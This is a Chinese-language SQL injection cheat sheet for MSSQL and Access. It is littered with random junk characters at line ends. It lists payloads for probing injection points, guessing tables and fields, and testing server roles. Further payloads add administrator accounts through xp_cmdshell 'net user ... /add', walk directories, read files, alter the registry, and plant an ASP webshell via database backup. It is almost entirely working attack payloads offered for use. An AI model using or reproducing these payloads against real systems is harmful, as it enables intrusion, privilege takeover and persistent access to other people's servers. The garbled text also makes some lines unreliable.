手工脚本注入
& E& W- C& S$ |1.判断是否有注入;and 1=1 ;and 1=2
3 u5 ~' }3 U& Y" I' D+ _4 |9 w, u" E2 C/ j
2.初步判断是否是mssql ;and user>0 , R! {: {# ^+ ?" }
1 R( k$ i( {$ @( C3 t7 t8 T; W3.注入参数是字符'and [查询条件] and ''=' % Q+ f0 I( \; [ {7 f4 ^# o
, I& I+ B z7 J& k! }2 d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' & N* j: v4 r1 Z! i0 V
5 z! d& f. }, G$ G' b' V5.判断数据库系统 3 k' A0 b7 R2 }' u0 k3 {
;and (select count(*) from sysobjects)>0 mssql ! G4 D: @% }" a, g1 x- v
;and (select count(*) from msysobjects)>0 access
2 ~( Q% w4 Y: |+ s" m
7 I8 ?0 q [' J6 B3 l7 D8 ^9 e J1 b5 Q+ h6.猜数据库 ;and (select Count(*) from [数据库名])>0 9 s# o0 [5 ?1 |8 m) Y4 [
) p9 w8 a/ Q/ K, x7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) q" [4 n; o k# K
; l+ ^7 ~* n8 p) H+ f! s2 D3 B8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 3 M8 [+ k7 N9 {
% \5 p$ D; g. p$ {8 [$ O
9.(1)猜字段的ascii值(access)
4 y' l/ N) G* k% `- L;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 . Y: ?+ x9 u) Y% {# Y! ]
0 k7 a% O/ @0 s% J0 e* S# [
(2)猜字段的ascii值(mssql)
; r1 r) o# H$ I: n;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
4 h& u0 @* [- f
/ ~- g' G6 T) a4 z3 B1 Q' ]10.测试权限结构(mssql)
5 ^6 o1 ^4 M) K: w X# w8 J;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8 m8 @# A2 V: b+ i3 c. T6 L3 U
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
. T4 `5 h/ ]: ~ m' G) y2 b% ];and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 d& i9 L' F5 `/ @. c# e;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : K% z$ A/ j* V, S# r) x
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 V$ K" [$ w& D/ K& x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
0 c. w( T% \0 };and 1=(select IS_MEMBER('db_owner'));--
7 R6 C3 s5 h4 m) z
' y6 ?/ q+ ?& q9 w% @11.添加mssql和系统的帐户 ( y4 V1 [8 l1 M0 z, m9 N5 W
;exec master.dbo.sp_addlogin username;-- % ^1 t7 f8 V' a* a7 B
N0 L! M" E) O4 y. t
;exec master.dbo.sp_password null,username,password;--
6 a v3 _$ Z7 A8 F
' }% X: a1 _# R$ T;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 `$ V, e R' D- ` z0 n2 Z+ L& ^/ }/ Y( Q( S4 I( P0 Q2 o: k7 r1 V
;exec master.dbo.xp_cmdshell 'net user username password 6 ^9 Z2 ?. ~- n5 w' Y9 h4 J# v) Y! G
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 e. r) d9 U6 A6 f& L( g
8 Z* a& ?' p/ j- p9 j;exec master.dbo.xp_cmdshell 'net user username password /add';-- ) o2 k. k/ P! Z/ @1 C" n
5 z8 j/ _; G3 ~. G$ @;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ; ?, W( W7 u& p8 J
. a/ h; h5 w+ g l) y$ S12.(1)遍历目录
% {! r1 r' i0 p' ~0 C/ B* ]4 h3 t. E% }; h q
;create table dirs(paths varchar(100), id int)
4 V. l+ E( R) R5 ^' ]# @4 u9 N;insert dirs exec master.dbo.xp_dirtree 'c:\'
, ?* Q- d3 e8 m% F$ @/ w6 o; t;and (select top 1 paths from dirs)>0 4 U! A3 a1 P- W+ V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- E1 W* s8 _; b! \& ^, ~9 Z$ c
, G8 A" X) E' x4 }(2)遍历目录
% f! D3 q3 K. n% K: o* c8 D;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! Q7 u/ s* F6 h7 f5 p& \* V
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ) f7 T0 }/ l; v: ?3 c u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ Y7 D. L1 Q/ \- S3 @% k+ i7 l;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 # I* X) N' }9 ]
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
; T1 M+ i0 ?' {; F+ T7 I) N5 D# v& J
13.mssql中的存储过程 + Q6 s4 S0 ?& r3 B
7 R# c1 Y! I! F; v" mxp_regenumvalues 注册表根键, 子键
1 C+ c1 ^) ], f5 ]6 _: n* C6 C9 \;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ; y% w' z+ k" D/ J* I7 I
* j9 ~9 P `0 b& [! R6 z. Wxp_regread 根键,子键,键值名 0 q9 M; Y# p0 y+ M" k
;exec xp_regread 0 K) [1 f3 X; A. K
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % l [5 J9 v+ x1 L" |, J) I
T9 O5 J, b1 ?4 a
xp_regwrite 根键,子键, 值名, 值类型, 值
( X+ D9 {, P7 h7 x' C- Z值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 h: Q: a1 J* U7 }* a
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' m7 ?7 c2 i" S
, R" R4 o& H& \/ u0 gxp_regdeletevalue 根键,子键,值名
" k) U4 Z0 c' z, x3 h% o( X# Q ~" M+ j" V/ Q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : j6 x, |8 K& j8 y- F$ d) b
3 ?/ y' r; m6 S2 axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9 l @8 U( d3 g8 d b5 D8 U
. A+ a% u2 x4 T; h5 f0 r! k14.mssql的backup创建webshell
* l# U" y9 Q/ l" }) Buse model ( I3 N6 f* z3 r2 D6 R
create table cmd(str image);
9 u. L( r/ _6 @# Iinsert into cmd(str) values ('');
5 B% c9 x. i$ F$ D5 S, {+ ]6 Obackup database model to disk='c:\l.asp'; % s0 c( c- E) T
/ t- d0 L8 ?# ^: {0 R6 P( ^# u15.mssql内置函数 , ]" i% E2 V$ p6 Q" U7 i) n- P
;and (select @@version)>0 获得Windows的版本号 * o. |* e: d6 {0 C2 f* g1 S* v# u
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& R8 u" _! w" j; V h) ~- n0 Z;and (select user_name())>0 爆当前系统的连接用户
/ g" ~' B- T& X;and (select db_name())>0 得到当前连接的数据库 9 U" c" a g! I! N& j- K( l4 I
, C; u0 o# j6 N) k/ h: f k16.简洁的webshell ) d( B# M+ D9 {7 ]- w
N' a, T8 W$ v; D3 ?- r
use model
O' l. I+ w9 `6 j! h! ?
E; z2 D0 L( y# H5 S9 I1 D/ [create table cmd(str image); 4 n8 b# V h+ Q+ v
# J$ e, M; `6 `$ y( J+ O |8 }) ninsert into cmd(str) values ('');
7 h, }% v" ]0 e- P& L" t) M* q. v: @, {; c9 m+ h+ Q9 y' J
backup database model to disk='g:\wwwtest\l.asp';
7 P& _( r$ f! _, l9 ]& q
8 j m' k0 {: x& q* a1 l3 o3 i |